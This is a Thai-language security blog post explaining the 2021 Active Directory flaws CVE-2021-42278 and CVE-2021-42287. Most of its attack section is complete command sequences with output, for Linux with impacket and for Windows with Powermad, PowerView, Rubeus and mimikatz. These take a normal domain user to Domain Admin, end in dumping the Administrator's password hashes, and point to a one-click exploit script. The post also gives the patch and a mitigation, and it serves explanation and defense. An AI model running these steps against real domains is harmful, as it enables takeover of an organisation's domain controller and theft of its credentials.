Pwning Domain Controller with CVE-2021–42278 & CVE-2021–42287

Datafarm
4 min readDec 23, 2021

--

เมื่อเดือนที่แล้วมีช่องโหว่ที่น่าสนใจ patch ออกมา และมีช่องโหว่ที่สามารถนำไปใช้เพื่อโจมตี Domain Controller 2 ตัวคือ

CVE-2021–42278: sAMAccountName สำหรับ MACHINE_ACCOUNT ควรจะลงท้ายด้วย $ แต่ไม่มีการตรวจสอบในขั้นตอนการเปลี่ยนชื่อ

CVE-2021–42287: เมื่อ KDC ถูกขอให้ออก service ticket จะทำการอ่าน Granting Ticket (TGT) ที่ได้รับมา เมื่อไม่พบ Account ในระบบจะทำการค้นหาอีกครั้งโดยเติม $

Version ที่ได้รับผลกระทบ

Windows Server Versions 2008
Windows Server Versions 2008 R2
Windows Server Versions 2012
Windows Server Versions 2012R2
Windows Server Versions 2016
Windows Server Versions 20H2+2004
Windows Server Versions 2019
Windows Server Versions 2022

ก่อนลงไปเกี่ยวกับการโจมตีสำหรับคนที่ไม่ค่อยคุ้นเคยกับ Kerberos ผมจะแปะ Keyword แบบสั้นๆให้ก่อนนะครับ
TGT: Ticket Granting Ticket เป็น encrypted file ออกให้กับ account ที่ยืนยันตัวตนผ่าน KDC สามารถนำไปออก TGS ได้

TGS: Ticket Granting Service เป็น service ticket สำหรับการอนุญาติเข้าใช้งาน Service อื่นๆในระบบ

S4U2self: เป็นการขอออก service ticket ให้ใช้กับ service ของตัวเองภายใต้ User คนอื่นได้

sAMAccountName: เป็น Logon name ที่ใช้กับ Windows version เก่า อย่าง windows NT,95,98

SPNs: Service Principle Name ใช้เป็น Identity ของ Service และ Server โดยจะเป็นค่า unique เช่น ldap/dc.datafarm.local

การโจมตี

เงื่อนไขการโจมตี

  1. มี Domain User
  2. Machine Account Quota (MAQ) > 0 ซึ่ง Default จะได้ 10 เครื่อง ต่อ 1 user

ขั้นตอนการโจมตี

  • สร้าง Machine Account ขึ้นมาใหม่โดยใช้ Domain User ที่มีในระบบ
  • ทำการเคลียร์ SPNs ของเครื่องที่เพิ่งสร้าง เพื่อให้ Kerberos ไปเรียกอ่าน sAMAccountName แทน
    *ถ้าใช้ addcomputer.py จาก impacket ในขั้นตอนแรกจะเป็นการสร้างแบบไม่มี SPNs อยู่แล้วจึงข้ามขั้นตอนนี้ไปได้
  • โจมตี CVE-2021–42278 ด้วยการแก้ไข Machine Attribute ในส่วนของ sAMAccountName เป็นชื่อเดียวกับเครื่อง Domain Controller
  • ทำการ request TGT ด้วย machine ที่สร้างขึ้น
    *โดยในขั้นตอนนี้สามารถสังเกตเครื่องที่ยังไม่ลง Patch จาก ความยาวของ Ticket ที่ได้รับ
  • ทำการแก้ชื่อ sAMAccountName เป็นชื่ออื่น
  • โจมตี CVE-2021–42287 โดยการส่ง request TGS ด้วย protocol s4u2self เมื่อ kerberos นำ ticket ไปหาชื่อ sAMAccountName ในระบบจะพบว่าไม่มี จึงทำการ เติม $ และหาใหม่อีกครั้งจะพบว่า เจอเครื่อง Domain Controller ตัวจริง และออก service ticket ในชื่อที่เรา request ได้
  • ทำ Ticket ที่ได้มาใช้งาน

Attack ด้วย MacOS / Linux

เตรียมเครื่องมือ

$ mkvirtualenv -p python3 samspoof
$ git clone https://github.com/ShutdownRepo/impacket
$ cd impacket
$ git checkout getST
$ git checkout CVE-2021-42278
$ git checkout getST -- examples/getST.py
$ python setup.py install

ขั้นตอนการโจมตี

# Add new Machine with domain user
$ addcomputer.py -computer-name 'newPC$' -computer-pass 'password' -dc-host dc.df.local -domain-netbios DF 'df.local/user01:P@ssw0rd'

Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation
[*] Successfully added machine account newPC$ with password password.

# Exploit CVE-2021-42278: Rename Machine -> DC (without $)
$ renameMachine.py -current-name 'newPC$' -new-name dc -dc-ip dc.df.local 'df.local/user01:P@ssw0rd'

Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation

[*] Modifying attribute (sAMAccountName) of object (CN=newPC,CN=Computers,DC=df,DC=local): (newPC$) -> (dc)
[*] New sAMAccountName does not end with '$' (attempting CVE-2021-42278)
[*] Target object modified successfully!
# Get TGT using sAMAccount
$ getTGT.py -dc-ip dc.df.local 'df.local/dc:password'

Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in dc.ccache

# Rename Machine back to newPC$
$ renameMachine.py -current-name 'dc' -new-name 'newPC$' -dc-ip dc.df.local 'df.local/user01:P@ssw0rd'

Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation

[*] Modifying attribute (sAMAccountName) of object (CN=newPC,CN=Computers,DC=df,DC=local): (dc) -> (newPC$)
[*] Target object modified successfully!

# Exploit CVE-2021-42287: KDC got TGS request but not found in domain, search again with trailing '$' and found real DC$
$ KRB5CCNAME='dc.ccache' getST.py -self -impersonate 'Administrator' -spn 'cifs/dc.df.local' -k -no-pass -dc-ip 'dc.df.local' 'df.local/dc'

Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation
[*] Using TGT from cache
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Saving ticket in Administrator.ccache

# Dump Administrator Hash for fun!!
$ KRB5CCNAME='administrator.ccache' secretsdump.py -just-dc-user 'administrator' -k -no-pass -dc-ip 'dc.df.local' @'dc.df.local'
Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cbb2930d6b9f4bdab5b9ba1b9a44914d:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:8d621d99b36b26784136e6c7d357afbeff88efc6fcb9cee474a63f0c26c9d1d0
Administrator:aes128-cts-hmac-sha1-96:104910621d93260e9e6e616ec4d0b2fe
Administrator:des-cbc-md5:134f8c3851ae4586

Attack ด้วย Windows

เตรียมเครื่องมือ

https://github.com/GhostPack/Rubeus
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
https://github.com/gentilkiwi/mimikatz

ขั้นตอนการโจมตี

# สร้าง Machine Account pc01 ด้วย password = password
PS> New-MachineAccount -MachineAccount pc01 -Password $(ConvertTo-SecureString 'password' -AsPlainText -Force) -Domain df.local -DomainController dc.df.local

# Clear SPN
PS> Set-DomainObject "CN=pc01,CN=Computers,DC=df,DC=local" -Clear 'serviceprincipalname' -Verbose

# CVE-2021-42278: เปลี่ยน sAMAaccount ให้ตรงกับ domain controller แต่ไม่ต้องใส่ $
PS> Set-MachineAccountAttribute -MachineAccount "pc01" -Value "dc" -Attribute 'samaccountname' -Verbose

# Request TGT ด้วย sAMAaccount DC
PS> .\Rubeus.exe asktgt /user:"DC" /password:"password" /domain:"df.local" /dc:"dc.df.local" /outfile:ticket.kirbi
# เปลี่ยน sAMAaccount -> pc01 เพื่อให้ KRB หาชื่อ DC ไม่เจอในขั้นตอนต่อไป
PS> Set-MachineAccountAttribute -MachineAccount "pc01" -Value "pc01" -Attribute 'samaccountname' -Verbose
# CVE-2021-42287: ทำการ request S4U2Self โดยการส่ง TGT ในชื่อ DC เมื่อ KRB หาชื่อในระบบไม่เจอจะไป lookup ชื่อ DC$ แทนซึ่งตรงกับเครื่อง Domain Controller

PS> .\Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/dc.df.local" /dc:"dc.df.local" /ptt /ticket:ticket.kirbi
# หลังจากได้รับ Ticket ในสิทธิ administrator@LDAP/DC ได้แล้ว เราสามารถทำ DCSync เพื่ออ่าน NTLM ได้

PS> .\mimikatz "lsadump::dcsync /user:administrator"

วิธีการแก้ไข

Microsoft ได้ออก Patch มาให้แล้วนะครับจะเป็นตัว KB5008602 สามารถโหลดและติดตั้งได้เลย หรือจะเป็นการป้องกันการโจมตีชั่วคราวสามารถทำได้ด้วยการแก้ไขค่า Machine Account Quota ให้เป็น 0 แต่วิธีนี้ถ้ามีการสร้างเครื่องในระบบแล้วก็โจมตีได้เหมือนเดิมครับ

สรุป

ผมคิดว่าช่องโหว่นี้ค่อนข้างน่าสนใจ เพราะวิธีการโจมตีค่อนข้างง่ายแถม impact สูง โดยเป็นช่องโหว่ที่เกิดจาก Logic ของตัว Kerberos เอง
สำหรับคนที่ขี้เกียจพิมพ์คำสั่งที่ละบรรทัดผมไปเจอ code ที่กดรันทีเดียวได้ Domain Admin ได้เลยเหมือนกัน ผมแนบไว้ที่ [5] ให้นะครับ

เห็นแบบนี้แล้วอย่าลืมลง Patch Domain Controller ด้วยนะครับ

--

--